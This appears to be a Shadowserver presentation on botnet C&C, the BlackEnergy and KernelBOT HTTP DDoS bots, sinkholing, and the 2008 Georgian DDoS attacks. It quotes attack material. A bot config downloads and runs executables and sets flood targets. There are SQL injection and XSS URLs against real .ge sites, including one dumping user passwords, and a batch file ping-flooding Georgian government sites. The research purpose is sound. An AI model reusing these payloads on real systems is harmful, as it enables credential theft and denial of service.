Agenda

- Shadowserver
- Definitions
- Command and Control (C&C)
- HTTP Botnets: Case Studies & Monitoring
  - BlackEnergy
  - KernelBOT*
- Sinkhole Server
- Georgian DDoS Attacks (time permitting)
Shadowserver

The Shadowserver Foundation

- An all volunteer watchdog group of security professionals that gather, track, and report on malware, botnet activity, and electronic fraud.

It is the mission of the Shadowserver Foundation

- To improve the security of the Internet by raising awareness of the presence of compromised systems, malicious attackers, and the spread of malware.
Definitions

**Botnet**
- A distributed network of compromised computers controlled by a bot herder via a command & control mechanism.

**C&C**
- “Command & Control”
- A computer or a network of computers, controlled by a bot herder, that sends commands to the botnet.

**Drone or Zombie (bot)**
- A compromised computer that receives commands via the C&C

**Bot Herder**
- Individual who owns or controls the botnet.

**IRC**
- A protocol designed for real time chat communication based on client-server architecture
Process Flow
Shadowserver Generated Custom Reports

Report Types
- DDoS
- C&C List
- Compromised Host
- Click-Through Fraud
- Drones
- Proxies
- URL Report
- Spam

Filters
- ASN
- CIDR/IP Ranges
- Country Code (example: TW)

Recipients
- Public IRC Services
- Emerging Threats Snort
- DNS Registrars
- Commercial Vendors
- 40+ CERT's
- ASN Owners
- 2300+ CIDR Owners
- 7 International LEO's
- 5 International Critical Infrastructure Groups
## Shadowserver Generated Custom Reports

<table>
<thead>
<tr>
<th>Time</th>
<th>CcC</th>
<th>CcC Port</th>
<th>CcC ASN</th>
<th>CcC Geo</th>
<th>Channel</th>
<th>Command</th>
<th>TGT</th>
<th>TGT ASN</th>
<th>TGT</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:04:33</td>
<td>80.154.38.195</td>
<td>8080</td>
<td>3320</td>
<td>DE</td>
<td>!!!rulz!!</td>
<td>syn</td>
<td>207.58.144.110</td>
<td>25847</td>
<td>US</td>
</tr>
<tr>
<td>00:07:58</td>
<td>80.154.38.195</td>
<td>8080</td>
<td>3320</td>
<td>DE</td>
<td>!!!rulz!!</td>
<td>syn</td>
<td>216.98.141.250</td>
<td>19439</td>
<td>US</td>
</tr>
<tr>
<td>01:00:44</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>##d0s##</td>
<td>.ddos.tcpf ack</td>
<td>84.222.74.46</td>
<td>3257</td>
<td>IT</td>
</tr>
<tr>
<td>01:34:34</td>
<td>72.29.96.170</td>
<td>6667</td>
<td>30496</td>
<td>US</td>
<td>##VzM##</td>
<td>.ddos.icmp</td>
<td>84.220.102.146</td>
<td>3257</td>
<td>IT</td>
</tr>
<tr>
<td>01:36:44</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36016</td>
<td>US</td>
<td>##d0s##</td>
<td>.ddos.tcpf ack</td>
<td>87.4.94.47</td>
<td>3269</td>
<td>IT</td>
</tr>
<tr>
<td>01:40:26</td>
<td>89.149.212.17</td>
<td>6667</td>
<td>28753</td>
<td>DE</td>
<td>#alb#</td>
<td>.tcp ack</td>
<td>216.152.66.135</td>
<td>174</td>
<td>US</td>
</tr>
<tr>
<td>01:47:08</td>
<td>89.149.212.17</td>
<td>6667</td>
<td>28753</td>
<td>DE</td>
<td>#alb#</td>
<td>.tcp ack</td>
<td>216.12.218.200</td>
<td>13749</td>
<td>US</td>
</tr>
<tr>
<td>01:47:27</td>
<td>89.149.212.17</td>
<td>6667</td>
<td>28753</td>
<td>US</td>
<td>##d0s##</td>
<td>.ddos.icmp</td>
<td>84.222.120.143</td>
<td>3257</td>
<td>US</td>
</tr>
<tr>
<td>02:05:43</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>##d0s##</td>
<td>.ddos.icmp</td>
<td>84.222.120.143</td>
<td>3257</td>
<td>US</td>
</tr>
<tr>
<td>02:15:37</td>
<td>89.149.212.17</td>
<td>6667</td>
<td>28753</td>
<td>DE</td>
<td>#alb#</td>
<td>.tcp ack</td>
<td>216.12.218.200</td>
<td>13749</td>
<td>US</td>
</tr>
<tr>
<td>02:37:42</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>##d0s##</td>
<td>.ddos.icmp</td>
<td>84.222.81.142</td>
<td>3257</td>
<td>IT</td>
</tr>
<tr>
<td>03:10:33</td>
<td>89.149.212.17</td>
<td>6667</td>
<td>28753</td>
<td>US</td>
<td>##d0s##</td>
<td>.tcp ack</td>
<td>216.12.218.200</td>
<td>13749</td>
<td>US</td>
</tr>
<tr>
<td>07:00:50</td>
<td>38.98.34.154</td>
<td>8585</td>
<td>35916</td>
<td>US</td>
<td>##randz##</td>
<td>.udp</td>
<td>210.2.162.232</td>
<td>15596</td>
<td>PK</td>
</tr>
<tr>
<td>07:01:14</td>
<td>66.250.111.34</td>
<td>9890</td>
<td>30506</td>
<td>US</td>
<td>##dlckx</td>
<td>.tcp</td>
<td>33.211.17.54</td>
<td>15589</td>
<td>IT</td>
</tr>
<tr>
<td>08:09:47</td>
<td>83.246.120.39</td>
<td>3921</td>
<td>24679</td>
<td>US</td>
<td>#spybot</td>
<td>syn</td>
<td>80.20.175.141</td>
<td>21246</td>
<td>CS</td>
</tr>
<tr>
<td>08:18:32</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>#b0tz##</td>
<td>.tcpflood ack</td>
<td>217.141.158.70</td>
<td>3269</td>
<td>IT</td>
</tr>
<tr>
<td>08:18:34</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>#b0tz##</td>
<td>.tcpflood ack</td>
<td>80.67.125.180</td>
<td>21391</td>
<td>IT</td>
</tr>
<tr>
<td>08:31:46</td>
<td>64.18.139.184</td>
<td>3211</td>
<td>19318</td>
<td>US</td>
<td>##a#</td>
<td>.udp</td>
<td>62.150.180.18</td>
<td>9155</td>
<td>RU</td>
</tr>
<tr>
<td>09:11:47</td>
<td>72.29.96.170</td>
<td>6667</td>
<td>30496</td>
<td>US</td>
<td>##WzM##</td>
<td>.ddos.tcpf ack</td>
<td>88.32.237.226</td>
<td>3269</td>
<td>IT</td>
</tr>
<tr>
<td>09:22:32</td>
<td>83.246.120.39</td>
<td>3921</td>
<td>24679</td>
<td>US</td>
<td>#spybot</td>
<td>syn</td>
<td>88.84.139.81</td>
<td>24989</td>
<td>DE</td>
</tr>
<tr>
<td>09:27:28</td>
<td>89.163.166.20</td>
<td>55003</td>
<td>13301</td>
<td>US</td>
<td>##bdoma</td>
<td>.ddos.supersyn</td>
<td>62.149.140.15</td>
<td>31034</td>
<td>IT</td>
</tr>
<tr>
<td>09:27:28</td>
<td>89.163.166.14</td>
<td>55003</td>
<td>13301</td>
<td>US</td>
<td>##bdoma</td>
<td>.ddos.supersyn</td>
<td>62.149.140.15</td>
<td>31034</td>
<td>IT</td>
</tr>
<tr>
<td>09:33:52</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>#b0tz##</td>
<td>.tcpflood ack</td>
<td>84.220.46.28</td>
<td>3257</td>
<td>IT</td>
</tr>
<tr>
<td>09:52:19</td>
<td>88.198.51.195</td>
<td>8004</td>
<td>24940</td>
<td>DE</td>
<td>.botat</td>
<td>.icmpflood</td>
<td>91.187.117.132</td>
<td>21246</td>
<td>UK</td>
</tr>
<tr>
<td>09:55:40</td>
<td>88.198.51.195</td>
<td>8004</td>
<td>24940</td>
<td>DE</td>
<td>.botat</td>
<td>.udpflood</td>
<td>91.187.117.132</td>
<td>21246</td>
<td>UK</td>
</tr>
<tr>
<td>09:59:31</td>
<td>88.198.51.195</td>
<td>8004</td>
<td>24940</td>
<td>DE</td>
<td>.botat</td>
<td>.tcpflood syn</td>
<td>91.187.117.132</td>
<td>21246</td>
<td>UK</td>
</tr>
<tr>
<td>10:01:14</td>
<td>88.198.51.195</td>
<td>8004</td>
<td>24940</td>
<td>DE</td>
<td>.botat</td>
<td>.icmp</td>
<td>82.107.220.4</td>
<td>3269</td>
<td>IT</td>
</tr>
<tr>
<td>11:10:16</td>
<td>208.66.232.2</td>
<td>6667</td>
<td>36816</td>
<td>US</td>
<td>#b0tz##</td>
<td>.icmp</td>
<td>195.149.115.39</td>
<td>41144</td>
<td>AT</td>
</tr>
<tr>
<td>11:21:03</td>
<td>72.29.96.170</td>
<td>6667</td>
<td>30496</td>
<td>US</td>
<td>##WzM##</td>
<td>.ddos.tcpf ack</td>
<td>82.201.241.167</td>
<td>24863</td>
<td>EG</td>
</tr>
</tbody>
</table>
Shadowserver Reports: Cost ($$)

How much does it cost to receive all of the reports from Shadowserver? (Win a Mercedes)

- $100 NT
- $1000 NT
- $5000 NT
- $10000 NT

Hint: Same price in USD as in NT

OK – it’s a trick question, sorry. ☺

- $0 NT = $0 USD
- That’s right – it’s free!
- Currently no one in Taiwan receives our reports!
Command and Control

A look into how botnets are now being controlled by the herders
Botnets - Not Just IRC Anymore?

- IRC is no longer the #1 command and control (C&C) mechanism for bots
  - Still very popular though – we promise!
  - Hundreds of versions
  - Relatively easy to setup
- Peer-to-Peer (P2P) botnets have also somewhat made their way to the forefront in recent years
  - Storm Worm anyone?
  - Not so easy and quick to setup
  - Far from the #1 C&C mechanism
Botnets - Most Popular C&C Mechanism

- Who has what it takes to be #1?
  - Not IRC
  - Not P2P

- HTTP controlled botnets are now on top and show no signs of turning back
  - Dozens of new HTTP based botnets every week
  - Generally a centralized server (not always)
  - Thousands of Malicious Domains
  - Dynamic DNS (3322.org, vicp.net, etc)
  - Direct IP access as well
HTTP Botnets - Benefits?

What are the benefits to HTTP based botnets (to the bad guys)?

- Low barrier to entry – kits easy to find
- Very easy to setup
  - LAMP stack
  - `tar -xf botnet.tgz`
- Infected systems phone in right over **port 80**
  - Looks like normal web traffic
  - Allowed out of most networks
- Harder for intrusion detection systems to detect
  - No signatures or black lists = no detection
HTTP Botnets - Types & Uses

- What are the different types of HTTP botnets?
  - Banker/InfoStealer/Keylogger
  - **Distributed Denial of Service (DDoS)**
  - Spam
  - Other/Specialized
  - Hybrid (mix and match the above)

- The uses.. Pretty straightforward
  - Make money $$$
  - Show Off/Revenge (DDoS)
HTTP Botnets:

*Case Studies & Monitoring*

Case 1: *BlackEnergy* - Russian HTTP DDoS Bot
Case 2: *KernelBOT* - Chinese HTTP DDoS Bot
BlackEnergy

- Popular Web-based (HTTP) DDoS Bot Kit
- Can target several IPs/hosts at a time
- Primarily active in .ru webspace
- Multiple Attack Capabilities
  - ICMP flooder (optional source spoof)
  - SYN flooder
  - UDP flooder
  - HTTP-GET flooder
  - TCP/UDP (combination) data flooder
- Update Capabilities
  - Problem gets bigger
BlackEnergy - Client POST

POST /<removed>/stat.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322)
Host: <removed>
Content-Length: 35
Cache-Control: no-cache
id=xmyPC33_213BEDBA&build_id=4C526F62
BlackEnergy - Client POST

HTTP/1.1 200 OK
Date: Sat, 10 May 2008 16:26:54 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.5
Content-Length: 184
Connection: close
Content-Type: text/html

MTA7MjAwMDsxMDswOzA7MzA7MTAwOzM7MjA7MTAwmDAwI2Zb
29kIGH0dHA3d3LnJ1c3NpYW5jYXNpbm8ucnUsZG9zdWd2aXA
ucnUsd3d3LnctNzc3LmNvbSxpbnRyYWRheWludVzdG1lbnRnc
m91C5jb20gYWNjb3VudC5waHAjNSM

Decodes to
10;2000;10;0;0;30;100;3;20;1000;2000#flood http
account.php#5#
BlackEnergy - Gambling Attack

- Very active BlackEnergy DDoS Botnet
- Attacking several large gambling websites
  - Full Tilt Poker
  - Party Gaming
  - Titan Poker
  - Virgin Games
- Attacks have varying length & success
  - Minutes/Hours/Days
  - Site Offline/Lagged/No Effect
BlackEnergy - Gambling Attack

- Tough to shut down sometimes
  - Questionable registrar
  - Responsive ISP = new ISP
  - Six different ISPs in 4 months

- Beware of Updates
  - Botnet can update itself!
  - Bots updated with new software to phone into additional BlackEnergy C&C (new domain)

- It Gets Worse
  - Bots updated with different malware
  - Zeus/ntos/Zbot/PRG/wsnpoem InfoStealer
BlackEnergy - Gambling Attack

Flooders options
- ICMP flooder
  - freq: 10
  - packetsize: 2000
- SYN flooder
  - freq: 10
- HTTP-GET flooder
  - freq: 100
  - threads: 10
- UDP and TCP/UDP data flooders
  - UDP/TCP freq: 10
  - UDP size: 1000
  - TCP size: 2000

Advanced SYN and ICMP options
- spoof sender IP:

Command [ help ]
- wait
  - refresh rate: 10 (in minutes)

Downloader
- url:
- downloads: (0 for unlimited)
- for country: (empty - for all countries, otherwise input country ID)

statistic by countries:
- machines online: 1396
- for day: 1458
- for all time: 1458
- countries: 60

<table>
<thead>
<tr>
<th>country</th>
<th>number of machines</th>
</tr>
</thead>
<tbody>
<tr>
<td>(IN) India</td>
<td>552</td>
</tr>
<tr>
<td>(RO) Romania</td>
<td>77</td>
</tr>
<tr>
<td>(US) United States</td>
<td>49</td>
</tr>
<tr>
<td>(ID) Indonesia</td>
<td>24</td>
</tr>
<tr>
<td>(PH) Philippines</td>
<td>16</td>
</tr>
<tr>
<td>(MY) Malaysia</td>
<td>13</td>
</tr>
<tr>
<td>(PK) Pakistan</td>
<td>9</td>
</tr>
<tr>
<td>(YU) Yugoslavia</td>
<td>9</td>
</tr>
<tr>
<td>(GB) United Kingdom</td>
<td>8</td>
</tr>
<tr>
<td>(LK) Sri Lanka</td>
<td>8</td>
</tr>
</tbody>
</table>
if ($login)
{
    Sleep(1);
    if ($luser == $user && $lpass == $pass)
    {
        setcookie("<removed>", $pass);
        header("location: index.php");
    }
} else {
    <removed>
    if (<removed> === $pass)
    {
        <removed> = true;
    }
}
BlackEnergy - Login Screen
BlackEnergy - Add N Edit Cookies
BlackEnergy - Bad Coding Results
BlackEnergy - More Fun Code

$id = addslashes($_POST['id']);
$build_id = addslashes($_POST['build_id']);

$sql = "REPLACE INTO `stat` (
  `id`, `build_id`, `files`, `ip`, `last`, `country`,
  `country_full`)
  VALUES
    ('$id', '$build_id', ".serialize($files)."', '$addr',
    ".time()."', '{${country['country']}}',
    '{${country['country_full']}}');

db_query($sql);
In May 2008 Shadowserver came across a new web-based (HTTP) DDoS Bot that we have named "KernelBOT".

Like BlackEnergy it can target several IPs.getHosts at a time.

So far we have only seen it active in .cn webspace.

Also appears that all instances may be run by one person.

Multiple Attack Capabilities:
- HTTP flooder (DDOS_ScriptFlood)
- UDP flooder (DDOS_UdpFlood)
- TCP SYN flooder (DDOS_SynFlood)
- TCP flooder (DDOS_TcpFlood)

Download/Update Capabilities along with Other Functionality.
KernelBOT Config/ Command File

- Infected KernelBOT systems frequently beacon and request a file from the C&C web server for their commands
  - This file has typically been named “cmd.txt”
- This file control the bot and gives several instructions to infected systems
  - URL to phone into for stats
  - URLs to download (additional malware/updates)
  - Targets for DDoS*
KernelBOT Config: Version Tracking

- Very top of cmd.txt configuration file sets version to prevent other settings from being executed over and over

[[KernelSetting]]:

[UpdateServer]
NewVersion=20080711
UpdateFileUrl=
KernelBOT Config: Stats and Downloads

Next section in config, “[KernelSetting]”, tells the bot where to report to and what additional files to download/execute:

```
[KernelSetting]
IsReportState=1

IsDownFileRun0=0
DownFileRunName0=iexp1ore.exe
DownFileRunUrl0=http://<removed>.com/download/webbcc.exe

SuperDownFileRunUrl9=http://<removed>.vicp.net/download/Loader.exe
```
Finally the remaining sections are related to DDoS attacks and are always checked for updates (not affected by Version Tracking):

```
[DDOS_ScriptFlood_A1]
IsScriptFlood=0
CmdID D=60
ScriptFloodUrl=/Discuz!/viewthread.php?tid=220479&extra=
page%3D1
ScriptFloodDNS=bbs.vsa.com.cn
ScriptFloodPort=80
IsGetUrlFile=0
ThreadLoopTime=2000
ThreadCount=1
IsTimer=1
Timer=6000
```
KernelBOT: Recent Attacks

DDoS of Different Websites

- flood http http://www.skeagle.com/
- flood http http://bbs.pcshares.cn/Board.aspx?BoardID=5&GroupID=0
- flood udp 218.26.179.194

Not Really Attacks:

HTTP Botnets - Monitoring

First step is to know what to monitor

- Malware sandboxing
  - Extract URLs and relevant information
- Data sharing/partners

Then we must be able to emulate the bot

- Perl script with configuration file
  - Periodically polls C&C server for commands
- Similar to our IRC perl scripts
  - Emulate infected HTTP drone instead of IRC drone

Finally record and report

- Logged to database and sent out in daily reports
Sinkhole Server

Taking over the command and control to find orphaned bots and hacked (SQL injected) web sites
Malicious Domains

- Many malicious domains expire or are otherwise released from use after a bot herder/hacker loses access.
- Most often due to expiration of domain or subdomain to due suspension AUP violation, fraudulent payment/registration information, or loss of control of backend server.
- In most cases the domains would still be in use if the bot herder/hacker could still access them.
Malicious Domains Continued

- These domains have expired, so what can we do?
- Registrars/Dynamic DNS providers have deleted these domains and subdomains – we can now register them!
- These domains are available for anyone to register or sign up for since they are no longer in use.
Why Register the Domains?

- The domains have gone away, but the infected systems and compromised websites are still there.
- By registering the domains we can accomplish the following:
  - Find infected drones/bots and create reports to warn affected parties
  - Locate websites that are still infected
    - Often malicious JavaScript or iframe entries
  - Prevent others from registering the domains that have malicious or even commercial ($$$) intent
  - Learn more about the size of the problem
Sinkhole Server

- An in-house custom developed C++ application for Linux.
- Binds to all ports on the specified interfaces and listens for incoming connections
- Emulates both HTTP and IRC protocols
- Logs the data received related to HTTP and IRC requests
  - Also runs p0f in an attempt to identify connecting OS (useful for detecting anomalous/research traffic)
- KrCERT has been doing something similar, see:
Sinkhole Server Logging

- Some of the information we are logging from the requests:
  - Connecting IP address
  - Source Port
  - Destination Port
  - Hostname
  - ASN and GeoLocation
  - Timestamp
  - p0f information (several)
  - HTTP information (uri, host, User-Agent, referer)
  - Tor connections (yes/no)
Sinkhole Server Explained: Pretty Picture

- **Sources**
  - Worms
  - Viruses
  - Bots
  - Internet
  - Malware
  - Emails
  - Submissions

- **Services**
  - **HTTP/IRC**
    - Detection of Service Type
    - Emulation of Service
    - Capture of communication
    - OS Identification
    - Log Information
    - Control Connection
    - Kill Connection
  - **SMTP**
    - Detection of communication type
    - Emulation of Service
    - Content captured
    - OS Identification
    - Log Information
    - Complete Connection
  - **DNS**
    - Accept Request
    - Always answer as self
    - Log Information
    - Complete Connection

- **Logging**
- **Database**
- **Reporting**
Sinkhole Server: HTTP Accesses

Some domains are far more active than others

Results after ~1 month of activity

<table>
<thead>
<tr>
<th>Week</th>
<th>Access Count</th>
<th>Unique IP's</th>
<th>Daily Average</th>
</tr>
</thead>
<tbody>
<tr>
<td>35</td>
<td>2,672</td>
<td>482</td>
<td>68.8571</td>
</tr>
<tr>
<td>36</td>
<td>897,271</td>
<td>14,299</td>
<td>2,042.7143</td>
</tr>
<tr>
<td>37</td>
<td>3,415,102</td>
<td>19,641</td>
<td>2,805.8571</td>
</tr>
<tr>
<td>38</td>
<td>2,543,328</td>
<td>11,489</td>
<td>1,641.2857</td>
</tr>
<tr>
<td>39</td>
<td>6,075,688</td>
<td>65,092</td>
<td>9,298.8571</td>
</tr>
<tr>
<td>40</td>
<td>7,570,702</td>
<td>87,441</td>
<td>12,491.5714</td>
</tr>
<tr>
<td>41</td>
<td>7,708,745</td>
<td>85,694</td>
<td>12,242.0000</td>
</tr>
<tr>
<td>42</td>
<td>806,525</td>
<td>12,801</td>
<td>1,828.7143</td>
</tr>
</tbody>
</table>
Georgian DDoS Attacks

The country of Georgia comes under attack.
HTTP Botnet Targets Georgian President

- Shadowserver observes first DDoS attack on July 19, 2008
- Multipronged attack against the website of Mikheil Saakashvili (www.president.gov.ge)
  - ICMP flood
  - TCP SYN flood
  - HTTP flood
- Website was completely down or extremely slow for several days
- Attacks were issued by Machbot controller that had over 15,000 bots
HTTP Botnets - Machbot Controller

- Botnet controlled by central web server using the domain **bizus-kokovs.cc** to issue commands to do the following:
  - flood http www.president.gov.ge/win+love+in+Rusia
  - flood tcp www.president.gov.ge
  - flood icmp www.president.gov.ge
- Bots phone into web-based C&C to get command via HTTP
- Machbot C&C located in the **United States**
- Server was quickly taken down to never return again
Russian-Georgian Conflict

- August 8, 2008 the Russian-Georgian conflict escalates to actual fighting
- On the same day a cyber attacks against Georgia commence once again
- Websites are attacked by botnets and citizens alike
- Forums filled with posts from hacktivists both taking and urging action
.ge Websites Heavily Targeted

Грузинские Сайты в тему:

http://www.tbilisi.gov.ge/index.php?Post=1%22%3E%20%3Cscript%3Ealert(1)%3C/script%3E&sec_id=337&lang_id=DEU

Aversi.ge

http://www.aversi.ge/main.php?lang=ge&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,version(),17,18,19,20,21,22,23,24,25

Presa.ge

http://presag.ge/index.php?text=news&i=-1+union+select+1,2,concat_ws(0x3a,table_name),4,5,6,7,8,9,10,11+from+information_schema.tables+limit+17,1--

ser. tables

http://presag.ge/index.php?text=news&i=-1+union+select+1,2,concat_ws(0x3a,user_username,user_password),4,5,6,7,8,9,10,11+from+users--

Ssa.gov.ge

http://www.ssa.gov.ge/index.php?id=698&mid=-1+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
.ge Websites Heavily Targeted Cont’d

- Starting on August 8, Georgian websites become heavily targeted for SQL injection and other vulnerabilities.
- Several websites including those for the President and the Parliament of Georgia are hacked and defaced.
- Each day new vulnerabilities are publicly posted about Georgian websites (.ge to include .gov.ge).
HTTP Botnets Called to Action

■ 8-8-2008: Botnets start DDoS’ing Georgian government and news websites & others that are sympathetic to the cause

■ Several BlackEnergy DDoS botnets observed taking part in attacks:
  ▶ 194.67.33.81
  ▶ google.com,aol.com,yahoo.com,about.com.net
  ▶ turkeyonline.name
  ▶ supportonline.mcdir.ru
  ▶ incasher.net
  ▶ ad.yandexshit.com
Botnet Targeted Sites

- www.president.gov.ge
- www.parliament.ge
- news.ge
- apsny.ge
- newsgeorgia.ru
- tbilisiweb.info
- hacking.ge
- os-inform.com
- mk.ru
- www.skandaly.ru
- www.kasparov.ru

Lots of speculation that only botnets were being used and that the Russian government was behind it.
Flow Data Tells Another Story

- Most observed .ge targeted botnet attacks drop off ~August 12, although a few continue or periodically attack
- DDoS attacks did not stop
- 8-13-08: Shadowserver has access to flow data for one of the .gov.ge websites and can see attacks are still on going
- Traffic is still very heavy, however, most of it is not TCP traffic
Not the Russian Government?

- Incoming traffic is almost all ICMP (ping anyone?)
- Almost all incoming traffic is from Russian dial-up addresses and residential broadband lines
- This is starting to sound very familiar…
Remember Estonia?

- Yes of course we do and we remember that the average citizen got involved... Could this be happening here?
- Everyone wants to believe the Russian government is behind everything...
- Wait.. Maybe all the government officials rushed home to use their PCs to attack!
- Let’s see what this could be... Google search: ping + "gov.ge"
Grass Roots Efforts

- Several Russian forums, blogs, and websites have been distributing and encouraging the use of the following Windows batch file:

```bash
@echo off
@echo Call this file (MSK) 18:00, 20:00
@echo Thanks for support of South Ossetia! Please, transfer this file to the friends!
pause
start ping -n 5000 -l 1000 www.newsgeorgia.ru -t
start ping -n 5000 -l 1000 www.apsny.ge -t
start ping -n 5000 -l 1000 www.nukri.org -t
start ping -n 5000 -l 1000 www.opentext.org.ge -t
start ping -n 5000 -l 1000 www.messenger.com.ge -t
start ping -n 5000 -l 1000 www.president.gov.ge -t
start ping -n 5000 -l 1000 www.government.gov.ge -t
start ping -n 5000 -l 1000 www.parliament.ge -t
start ping -n 5000 -l 1000 nsc.gov.ge -t
start ping -n 5000 -l 1000 www.constcourt.gov.ge -t
start ping -n 5000 -l 1000 www.supremecourt.ge -t
start ping -n 5000 -l 1000 www.cec.gov.ge -t
start ping -n 5000 -l 1000 www.nbg.gov.ge -t
start ping -n 5000 -l 1000 www.nplg.gov.ge -t
start ping -n 5000 -l 1000 www.police.ge -t
start ping -n 5000 -l 1000 www.mod.gov.ge -t
start ping -n 5000 -l 1000 www.mes.gov.ge -t
start ping -n 5000 -l 1000 www.mfa.gov.ge -t
start ping -n 5000 -l 1000 www.iberiapac.ge -t
start ping -n 5000 -l 1000 www.mof.ge -t
```
Grass Roots Efforts Cont’d

- On August 13, 2008 we were able to find this script on dozens of websites with the earliest date of posting being on the August 8, 2008.
- Grass roots hacktivist attacks, like the ones seen against Estonia, began on the *same* day as the botnet attacks and continued well beyond them.
- Doesn’t look quite so government controlled or orchestrated any longer.
Grass Roots Efforts Cont’d

■ On August 13, 2008 we were able to find this script on dozens of websites with the earliest date of posting being on the August 8, 2008

■ Grass roots hacktivist attacks, like the ones seen against Estonia, began on the *same* day as the botnet attacks and continued well beyond them

■ Doesn’t look quite so government controlled or orchestrated any longer
Conspiracy Theories Dispelled

- Despite many claims that the botnets were government controlled and only aiming at Georgian websites, the facts and history tell another story.
- Most BlackEnergy botnets that Shadowserver observed that were involved in DDoS attacks against Georgian websites attacked completely different and unrelated websites prior.
- DDoS history seems to support the idea bot herders are also hacktivists.
Conspiracy Theories Dispelled

Here is a sampling of previous DDoS targets from the botnets involved in the Georgia attacks:

- www.in-bank.net
- carder.biz
- divaescort.com
- payclubs.biz
- night-fairy.com
- vodkaescort.net
- cc-hack.eu
- igame.ru
- i-german.net
Thank You! 谢谢

Feel free to ask me any questions after the presentation or send me an e-mail at:

steven@shadowserver.org

Our website:

http://www.shadowserver.org